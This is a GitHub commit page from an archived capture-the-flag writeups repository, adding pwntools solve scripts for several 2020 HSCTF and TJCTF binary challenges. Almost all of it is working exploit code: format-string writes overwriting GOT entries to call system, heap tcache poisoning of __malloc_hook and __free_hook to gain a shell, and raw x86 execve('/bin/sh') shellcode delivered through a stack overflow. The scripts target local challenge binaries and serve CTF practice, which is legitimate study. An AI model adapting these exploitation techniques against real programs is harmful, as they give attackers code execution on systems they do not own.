Skip to content
This repository was archived by the owner on Oct 24, 2021. It is now read-only.

Commit 95ee233

Browse files
joshdaboshjoshdabosh
committed
solve scripts
1 parent e3841e2 commit 95ee233

File tree

11 files changed

+658
-29
lines changed

11 files changed

+658
-29
lines changed

‎README.md

+1-29
Original file line numberDiff line numberDiff line change
@@ -1,34 +1,6 @@
11
# writeups
22

3-
This is where I store writeups for CTF challenges that I've either solved, helped solve, or wrote.
3+
This is where I store writeups / solve scripts for CTF I've done.
44

55
[generate.py](generate.py) is some quick code I threw together to provide some structure to writeups. Use at your own risk.
66

7-
## 2020
8-
[AngstromCTF](2020-AngstromCTF)
9-
10-
[DawgCTF](2020-DawgCTF)
11-
12-
[HackTM](2020-HackTM)
13-
14-
[HouseplantCTF](2020-HouseplantCTF)
15-
16-
[MidnightSunCTF](2020-MidnightSunCTF)
17-
18-
[NeverLanCTF](2020-NeverLanCTF)
19-
20-
[TAMUCTF](2020-TAMUCTF)
21-
22-
[VirtualCodeCup](2020-VirtualCodeCup)
23-
24-
[Zh3r0 PreCTF](2020-Zh3r0PreCTF)
25-
26-
[SharkyCTF](2020-SharkyCTF)
27-
28-
[MAGIC oCTF](2020-MAGICoCTF)
29-
30-
[Thomas Jefferson CTF](2020-TJCTF)
31-
32-
[High School CTF](2020-HSCTF)
33-
34-
[Redpwn CTF](2020-RedpwnCTF)

‎solved_afterwards/2020-HSCTF/got_it/solve.py

+109
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,109 @@
1+
from pwn import *
2+
3+
e = ELF("./got_it")
4+
5+
libc = ELF("./libc.so.6")
6+
7+
p = process("./got_it")
8+
9+
10+
#context.log_level="debug"
11+
gdb.attach(p, """break * main+176
12+
c""")
13+
14+
main = e.sym["main"] # 0x4012f9
15+
16+
print("main", hex(main))
17+
print("exit", hex(e.got["exit"]))
18+
19+
ret = 0x40101a
20+
print("ret gadget", hex(ret))
21+
22+
signal = 0x403f90
23+
sleep = 0x403fc8
24+
25+
print("sleep", hex(sleep))
26+
27+
28+
p.recvuntil("out!")
29+
30+
# our inputs starts at offset 18
31+
32+
exploit = "%18$hn"
33+
exploit += "%21$hn"
34+
exploit += "%{}p%19$hn".format(0x40)
35+
exploit += "%22$hn"
36+
exploit += "%{}p%23$hn".format(0x101a-0x40)
37+
exploit += "%{}p%20$hn".format(0x12f9-0x101a)
38+
39+
exploit += "|%31$p|"
40+
41+
exploit = exploit.ljust(80)
42+
43+
exploit += p64(e.got["exit"]+4)
44+
exploit += p64(e.got["exit"]+2)
45+
exploit += p64(e.got["exit"])
46+
47+
exploit += p64(sleep+4)
48+
exploit += p64(sleep+2)
49+
exploit += p64(sleep)
50+
51+
exploit += "AAAA"
52+
53+
p.sendline(exploit)
54+
55+
p.recvuntil("|")
56+
57+
dat = p.recv()
58+
59+
dat = dat.split("|")
60+
61+
libc.address = int(dat[0][2:], 16) - 0x3f3660
62+
63+
print("libc address", hex(libc.address))
64+
65+
p.sendline()
66+
p.sendline()
67+
68+
69+
og = libc.sym["system"]
70+
print("calling", hex(og))
71+
72+
73+
h = hex(og)[2:]
74+
75+
high = int(h[:-8], 16)
76+
mid = int(h[-8:-4], 16)
77+
low = int(h[-4:], 16)
78+
79+
print("high", hex(high))
80+
print("mid", hex(mid))
81+
print("low", hex(low))
82+
83+
order = sorted([[low, e.got["__isoc99_scanf"], "low"], [mid, e.got["__isoc99_scanf"]+2, "mid"], [high, e.got["__isoc99_scanf"]+4, "high"]], key = lambda x: x[0])
84+
85+
print([[hex(a[0]), hex(a[1]), a[2]] for a in order])
86+
87+
exploit = ""
88+
89+
exploit += "%{}p%18$hn%{}p%19$hn%{}p%20$hn".format(order[0][0], order[1][0]-order[0][0], order[2][0]-order[1][0])
90+
91+
92+
exploit = exploit.ljust(80)
93+
94+
95+
exploit += p64(order[0][1])
96+
exploit += p64(order[1][1])
97+
exploit += p64(order[2][1])
98+
99+
100+
101+
p.sendline(exploit)
102+
103+
p.sendline()
104+
p.sendline()
105+
106+
107+
p.sendline("/bin/sh")
108+
109+
p.interactive()

‎solved_afterwards/2020-HSCTF/studysim/solve.py

+102
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
from pwn import *
2+
3+
4+
e = ELF("./studysim")
5+
6+
libc = ELF("./libc.so.6")
7+
8+
9+
p = process("./studysim", env={"LD_PRELOAD":"./libc.so.6"})
10+
11+
#context.log_level = "debug"
12+
13+
gdb.attach(p, """break * main+182""")
14+
15+
def add(size, data="AAAA"):
16+
p.recvuntil(">")
17+
p.sendline("add")
18+
p.recvuntil("?")
19+
p.sendline(str(size))
20+
p.recvuntil("?")
21+
p.sendline(data)
22+
print("added")
23+
24+
def do(amt):
25+
p.recvuntil(">")
26+
p.sendline("do")
27+
p.recvuntil("?")
28+
p.sendline(str(amt))
29+
print("did")
30+
31+
32+
stdout_var = 0x404020
33+
stack_var = 0x404060
34+
allocated_var = 0x404040
35+
36+
do(4)
37+
add(8)
38+
do(0)
39+
40+
p.recvline()
41+
first_chunk = int(p.recvline().split()[5])
42+
43+
#print("first chunk", hex(first_chunk))
44+
45+
heap_base = first_chunk-0x261
46+
print("heap base", hex(heap_base))
47+
48+
do(first_chunk) # reset
49+
50+
# now i want to write to heap_base + 0x60
51+
52+
allocated_curr = int(-(-stack_var + heap_base+0x60)/8)
53+
54+
do(allocated_curr)
55+
56+
add(48, p64(stdout_var))
57+
58+
do(-allocated_curr+1) # reset
59+
60+
p.interactive()
61+
62+
add(48)
63+
64+
add(48, "")
65+
66+
67+
p.recvline()
68+
69+
dat = p.recvline().split("'")
70+
print("dat", dat)
71+
72+
libc_leak = u64(dat[1].ljust(8, "\x00"))
73+
libc.address = libc_leak - 0x1e5760
74+
75+
print("libc address", hex(libc.address))
76+
print("malloc hook", hex(libc.sym["__malloc_hook"]))
77+
78+
do(2) # reset
79+
80+
# write to freelist again
81+
82+
allocated_curr = int(-(-stack_var + heap_base+0x68)/8)
83+
print("allocated curr", hex(allocated_curr))
84+
do(allocated_curr)
85+
86+
add(69, p64(libc.sym["__malloc_hook"]))
87+
88+
do(-allocated_curr+1)
89+
90+
91+
og = 0xe2383
92+
og = libc.address+og
93+
94+
print("og", hex(og))
95+
96+
add(69)
97+
add(69, p64(og))
98+
99+
p.sendlineafter(">", "add")
100+
p.sendlineafter("?", "0") # satisfies [rdx]==NULL b/c read_ulong reads a `0` into rdx
101+
102+
p.interactive()

‎solved_afterwards/2020-HSCTF/treecache1/solve.py

+95
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
from pwn import *
2+
3+
e = ELF("./trees1")
4+
5+
libc = ELF("./libc.so.6")
6+
7+
p = process("./trees1")
8+
9+
#context.log_level="debug"
10+
gdb.attach(p)#, """break * main+302""")
11+
12+
13+
def create():
14+
print("create")
15+
p.sendlineafter(">", "1")
16+
p.recvuntil("ID ")
17+
return int(p.recvuntil(",")[:-1])
18+
19+
20+
def delete(idx):
21+
print("delete")
22+
p.sendlineafter(">", "2")
23+
p.sendlineafter(">", str(idx))
24+
25+
26+
def edit(idx, name, d_len, d, amt):
27+
p.sendlineafter(">", "3")
28+
p.sendlineafter(">", str(idx))
29+
p.sendlineafter(".", name)
30+
p.sendlineafter(">", str(d_len))
31+
p.sendlineafter(".", d)
32+
p.sendlineafter(">", str(amt))
33+
34+
35+
def show(idx):
36+
p.sendlineafter(">", "4")
37+
p.sendlineafter(">", str(idx))
38+
39+
40+
# leak heap + libc by freeing a chunk into unsorted and then UAF
41+
# delete even chunk, read odd chunk
42+
43+
# fill tcache
44+
for i in range(7):
45+
create()
46+
47+
edit(i+1, "AAAABBBBCCCCDDD", 0xf0, "BBBBEEEEFFFFGGGGHHHH", i+1)
48+
49+
50+
create() # 8
51+
edit(8, "A", 0xf0, "B", 8)
52+
53+
create() # 9, prevent consolidation w/ top
54+
55+
56+
for i in range(7):
57+
delete(i+1)
58+
59+
60+
delete(8)
61+
62+
63+
for i in range(9): # ends on chunk 18.
64+
# have to take 7 from tcache, 1 from fastbins,
65+
# then the last one (chunk 18) will be from unsorted bin and have libc pointers
66+
create()
67+
68+
69+
show(18)
70+
71+
# parse leaked libc
72+
dat = p.recvline().strip().split()[0]
73+
libc.address = int(dat) - 0x1e4d90
74+
print("libc address", hex(libc.address))
75+
print("libc system", hex(libc.sym["system"]))
76+
print("libc free hook", hex(libc.sym["__free_hook"]))
77+
78+
79+
create() # 19
80+
create() # 20
81+
create() # 21
82+
83+
delete(20)
84+
edit(21, p64(libc.sym["__free_hook"]), 0x69, "BBBB", 21)
85+
86+
create() # 22
87+
create() # 23
88+
89+
edit(23, p64(libc.sym["system"]), 0x20, "BBBB", 23)
90+
91+
92+
edit(19, "/bin/sh", 2, "A", 19)
93+
delete(19)
94+
95+
p.interactive()

‎solved_afterwards/2020-TJCTF/elprimo/solve.py

+28
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
from pwn import *
2+
3+
e = ELF("./el_primo")
4+
5+
p = process("./el_primo")
6+
7+
8+
context.log_level="debug"
9+
gdb.attach(p, '''pie break * 0x6a8''')
10+
11+
p.recvline()
12+
13+
dat = p.recvline()
14+
15+
stackleak = int(dat.split()[-1][2:], 16)
16+
17+
print("stack leak", hex(stackleak))
18+
print("stack leak+64", hex(stackleak+64))
19+
20+
exploit = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
21+
22+
exploit += "\x00"*(32-len(exploit)) + p32(stackleak+40) + p32(stackleak)
23+
24+
#print("exploit", exploit)
25+
26+
p.sendline(exploit)
27+
28+
p.interactive()

0 commit comments

Comments
 (0)